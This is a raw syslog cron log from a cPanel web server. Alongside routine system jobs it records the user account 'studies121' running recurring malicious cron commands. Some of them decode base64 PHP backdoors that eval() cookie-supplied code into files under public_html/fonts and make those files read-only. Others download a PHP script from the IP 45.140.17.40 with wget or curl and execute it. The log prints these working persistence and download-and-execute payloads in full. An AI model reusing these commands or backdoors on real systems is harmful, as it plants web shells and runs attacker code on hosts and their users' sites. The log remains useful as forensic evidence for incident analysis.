Sep  2 15:15:01 ip-184-168-122-23 CROND[4307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:15:01 ip-184-168-122-23 CROND[4310]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:15:01 ip-184-168-122-23 CROND[4309]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:15:01 ip-184-168-122-23 CROND[4305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:16:02 ip-184-168-122-23 CROND[4416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:16:02 ip-184-168-122-23 CROND[4418]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 15:16:02 ip-184-168-122-23 CROND[4422]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:16:02 ip-184-168-122-23 CROND[4420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:16:02 ip-184-168-122-23 CROND[4419]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:16:02 ip-184-168-122-23 CROND[4424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:17:01 ip-184-168-122-23 CROND[4520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:17:01 ip-184-168-122-23 CROND[4524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:17:01 ip-184-168-122-23 CROND[4522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:17:01 ip-184-168-122-23 CROND[4523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:18:01 ip-184-168-122-23 CROND[4719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:18:01 ip-184-168-122-23 CROND[4721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:18:01 ip-184-168-122-23 CROND[4722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:18:01 ip-184-168-122-23 CROND[4723]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:18:01 ip-184-168-122-23 CROND[4724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:19:01 ip-184-168-122-23 CROND[4811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:19:01 ip-184-168-122-23 CROND[4813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:19:01 ip-184-168-122-23 CROND[4814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:19:01 ip-184-168-122-23 CROND[4815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:20:01 ip-184-168-122-23 CROND[4916]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:20:01 ip-184-168-122-23 CROND[4917]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:20:01 ip-184-168-122-23 CROND[4920]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 15:20:01 ip-184-168-122-23 CROND[4922]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 15:20:01 ip-184-168-122-23 CROND[4925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:20:01 ip-184-168-122-23 CROND[4926]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:20:01 ip-184-168-122-23 CROND[4924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:20:01 ip-184-168-122-23 CROND[4928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:20:01 ip-184-168-122-23 CROND[4927]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:21:01 ip-184-168-122-23 CROND[5043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:21:01 ip-184-168-122-23 CROND[5042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:21:01 ip-184-168-122-23 CROND[5041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:21:01 ip-184-168-122-23 CROND[5044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:22:01 ip-184-168-122-23 CROND[5166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:22:01 ip-184-168-122-23 CROND[5169]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:22:01 ip-184-168-122-23 CROND[5171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:22:01 ip-184-168-122-23 CROND[5172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:22:01 ip-184-168-122-23 CROND[5173]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:23:01 ip-184-168-122-23 CROND[5347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:23:01 ip-184-168-122-23 CROND[5348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:23:01 ip-184-168-122-23 CROND[5350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:23:01 ip-184-168-122-23 CROND[5349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:24:01 ip-184-168-122-23 CROND[5447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:24:01 ip-184-168-122-23 CROND[5452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:24:01 ip-184-168-122-23 CROND[5455]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:24:01 ip-184-168-122-23 CROND[5454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:24:01 ip-184-168-122-23 CROND[5459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:25:01 ip-184-168-122-23 CROND[5541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:25:01 ip-184-168-122-23 CROND[5543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:25:01 ip-184-168-122-23 CROND[5547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:25:01 ip-184-168-122-23 CROND[5546]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:25:01 ip-184-168-122-23 CROND[5545]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:25:01 ip-184-168-122-23 CROND[5544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:26:01 ip-184-168-122-23 CROND[5628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:26:01 ip-184-168-122-23 CROND[5629]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:26:01 ip-184-168-122-23 CROND[5631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:26:01 ip-184-168-122-23 CROND[5632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:26:01 ip-184-168-122-23 CROND[5636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:27:01 ip-184-168-122-23 CROND[5735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:27:01 ip-184-168-122-23 CROND[5738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
